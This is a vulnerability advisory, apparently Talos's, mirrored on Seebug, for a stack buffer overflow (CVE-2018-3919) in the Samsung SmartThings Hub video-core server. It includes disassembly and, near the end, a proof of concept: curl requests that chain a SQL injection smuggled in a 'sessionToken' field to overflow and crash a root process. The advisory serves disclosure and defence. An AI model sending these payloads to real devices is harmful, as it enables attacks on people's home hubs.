Lucene search

K
seebugMy SeebugSSV:97451
HistoryJul 30, 2018 - 12:00 a.m.

Samsung SmartThings Hub video-core Database clips Code Execution Vulnerability(CVE-2018-3919)

2018-07-3000:00:00
My Seebug
www.seebug.org
538

0.001 Low

EPSS

Percentile

41.8%

Summary

An exploitable stack-based buffer overflow vulnerability exists in the
retrieval of database fields in video-core’s HTTP server of Samsung
SmartThings Hub. The video-core process insecurely extracts the fields
from the “clips” table of its SQLite database, leading to a buffer
overflow on the stack. An attacker can send a series of HTTP requests to
trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://www.smartthings.com/products/smartthings-hub

CVSSv3 Score

7.5 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120: Buffer Copy without Checking Size of Input (‘Classic Buffer
Overflow’)

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller which
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

One of the features of the hub is that it connects to smart cameras,
configures them and looks at their livestreams. For testing, we set up
the Samsung SmartCam SNH-V6414BN on the hub. Once done, the livestream
can be displayed by the smartphone application by connecting either to
the remote SmartThings servers, or directly to the camera, if they’re
both in the same subnetwork.

Inside the hub, the livestream is handled by the video-core process,
which uses ffmpeg to connect via RTSP to the smart camera in its same
local network, and at the same time, provides a streamable link for the
smartphone application.

The remote SmartThings servers have the possibility to communicate with
the video-core process by sending messages in the persistent TLS
connection, established by the hubCore process. These messages can
encapsulate an HTTP request, which hubCore would relay directly to the
HTTP server exposed by video-core. The HTTP server listens on port
3000, bound to the localhost address, so a local connection is needed to
perform this request.

We identified a vulnerable function that can be exploited to achieve
code execution on the video-core process, which is running as root.

The hub allows to store clips information, which represent small
recordings that can be triggered on specific events. These are stored in
the “clips” table of video-core’s SQLite database (found at
“/hub/data/videocore/db/VideoCore.db”).

Function sub_12314 is used to retrieve all the columns from the
“clips” table and save them in a structure, stored on the stack, passed
as second argument.

.text:00012314     sub_12314
.text:00012314
.text:00012314     var_4  = -4
.text:00012314
.text:00012314 000        CMP             R0, #0 ; [1]
.text:00012318 000        BEQ             loc_1245C
.text:0001231C 000        CMP             R1, #0 ; [2]
.text:00012320 000        BEQ             loc_12444
.text:00012324 000        CMP             R2, #0 ; [3]
...
.text:00012390 040        B               loc_123D8
.text:00012394
.text:00012394     loc_12394
.text:00012394 040        CMP             R0, #0
.text:00012398 040        BLT             loc_12428
.text:0001239C 040        LDR             R10, [R11,#-0x28]
.text:000123A0 040        ADD             R6, R6, #1
.text:000123A4 040        MOV             R0, R10
.text:000123A8 040        BL              strlen
.text:000123AC 040        MOV             R1, R10
.text:000123B0 040        STR             R0, [R4,#-4]
.text:000123B4 040        MOV             R0, R4
.text:000123B8 040        BL              strcpy           ; [5]
.text:000123BC 040        MOV             R0, R10
.text:000123C0 040        BL              free
.text:000123C4
.text:000123C4     loc_123C4
.text:000123C4 040        ADD             R9, R9, #1
.text:000123C8 040        ADD             R5, R5, #0x84
.text:000123CC 040        CMP             R9, #0xF
.text:000123D0 040        ADD             R4, R4, #0x204
.text:000123D4 040        BEQ             loc_12428
.text:000123D8
.text:000123D8     loc_123D8
.text:000123D8 040        MOV             R0, #1           ; db_id
.text:000123DC 040        MOV             R1, R7           ; where
.text:000123E0 040        MOV             R2, R5           ; column
.text:000123E4 040        SUB             R3, R11, #0x28
.text:000123E8 040        STR             R8, [R11,#-0x28]
.text:000123EC 040        BL              db_find          ; [4]
.text:000123F0 040        CMN             R0, #6
.text:000123F4 040        BNE             loc_12394

The function takes three arguments: the clip ID [1], the clip ID length
[2], and a structure [3] where all the columns for the related clip ID
should be stored. At [4] a query is performed for fetching just one
column:

SELECT <column> FROM clip WHERE _id='<clip-id>'

where “clip-id” is the first argument [1] and “column” is one of the
columns of the table. If db_find succeeds, the result is then copied
in the structure [3] using strcpy [5]. The input structure is
populated by repeating the same logic for each column:

_id
cameraId
locationId
dni
captureTime
startTime
endTime
correlationId
callbackUrl
callbackCalled
status
statusMessage
url
filePath
thumbnailId

Each element in the structure is supposed to have a maximum size of 512
bytes, but since there is no restriction on the length of the copy
operation, the buffer can be overflowed, and this allows for overflowing
the input structure and execute arbitrary code.

Note that while we scored this vulnerability CVSS 7.5 on its own, it
would constitute a CVSS 8.5
(CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H) when combined with
TALOS-2018-0556. This is demonstrated in the proof of concepts below.

Exploit Proof of Concept

Function sub_12314 is called by multiple functions, in the following
proof of concept we show just one of the ways for triggering the
vulnerability, by crashing the video-core process. Note that it is
assumed that a camera already exists in the hub.

1- Add a clip
$ sClipId=1234
$ curl -X POST "http://127.0.0.1:3000/cameras/${sCameraId}/clips" -d '{"captureTime":"2000-01-01T00:00:00","startTime":"2000-01-01T00:00:00","endTime":"2000-01-01T00:00:00","callbackUrl":"x","url":"x","correlationId":"'${sClipId}'"}'

2- Modify the "clips.captureTime" value in the database. This is possible, for example, using using TALOS-2018-0556:
$ sInj='","_id=0 where 1=2;update clip set captureTime=replace(substr(quote(zeroblob((9000 + 1) / 2)), 3, 9000), \\"0\\", \\"A\\") where _id='${sClipId}';--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'x/'}"

The first request will add a clip with id “1234”, and after replying to
the request the hub will continue to operate on the new camera and will
call, among others, sub_12314. If the second request is executed
quickly enough (that is, before sub_12314 is called), an attacker
could manage to execute the second request while the first request is
still being completed, in order to alter the content of the clip id
“1234” by setting an overlong “captureTime”, which will cause
video-core to crash when handled by sub_12314.

Timeline

  • 2018-05-07 - Vendor Disclosure
  • 2018-05-23 - Discussion with vendor/review of timeline for disclosure
  • 2018-07-17 - Vendor patched
  • 2018-07-26 - Public Release

0.001 Low

EPSS

Percentile

41.8%